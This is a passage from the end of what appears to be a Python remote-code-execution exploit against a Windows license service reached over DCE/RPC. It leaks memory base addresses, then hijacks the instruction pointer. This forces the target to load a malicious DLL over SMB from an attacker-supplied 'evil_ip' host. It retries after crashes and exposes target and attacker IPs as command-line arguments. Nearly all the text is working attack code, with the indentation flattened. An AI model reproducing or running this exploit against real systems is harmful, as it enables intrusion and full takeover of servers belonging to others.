print("[+] Leak kernelbase_base: 0x{:x}".format(kernelbase_base))
def check_vuln(target_ip):
print("[-] Not implemented yet.")
return True
def pwn(target_ip, evil_ip, evil_dll_path, check_vuln_exist):
global dce, rpctransport, handle_lists, leak_idx, heap_base, rpcrt4_base, kernelbase_base, pe_base, peb_base
arg1 = "\\{0}{1}".format(evil_ip, evil_dll_path)
print("-" * 0x50)
print(DESCRIPTION)
print("\ttarget_ip: {0}\n\tevil_ip: {1}\n\tevil_dll_path: {2}\n\tcheck_vuln_exist: {3}".format(target_ip, evil_ip, arg1, check_vuln_exist))
if check_vuln_exist:
if not check_vuln(target_ip):
print("[-] Failed to check for vulnerability.")
exit(0)
else:
print("[+] Target exists vulnerability, try exploit...")
for i in range(TRY_TIMES):
print("-" * 0x50)
print("[*] Run exploit script for {0} / {1} times".format(i + 1, TRY_TIMES))
try:
connect_to_license_server(target_ip)
leak_addr()
hijack_rip_and_rcx(heap_base, rpcrt4_base, kernelbase_base, arg1)
dce.disconnect()
rpctransport.disconnect()
except (ConnectionResetError, DCERPCException) as e:
if i == TRY_TIMES - 1:
print("[-] Crashed {0} times, run exploit script failed!".format(TRY_TIMES))
else:
print("[-] Crashed, waiting for the service to restart, need {0} seconds...".format(SLEEP_TIME))
sleep(SLEEP_TIME)
handle_lists = []
leak_idx = 0
pass
if name == 'main':
parse = argparse.ArgumentParser(description = DESCRIPTION)
parse.add_argument("--target_ip", type=str, required=True, help="Target IP, eg: 192.168.120.1")
parse.add_argument("--evil_ip", type=str, required=True, help="Evil IP, eg: 192.168.120.2")
parse.add_argument("--evil_dll_path", type=str, required=False, default="\smb\evil_dll.dll", help="Evil dll path, eg: \smb\evil_dll.dll")
parse.add_argument("--check_vuln_exist", type=bool, required=False, default=False, help="Check vulnerability exist before exploit")
args = parse.parse_args()
pwn(args.target_ip, args.evil_ip, args.evil_dll_path, args.check_vuln_exist)
创建日期: 2024年8月13日 19:15:40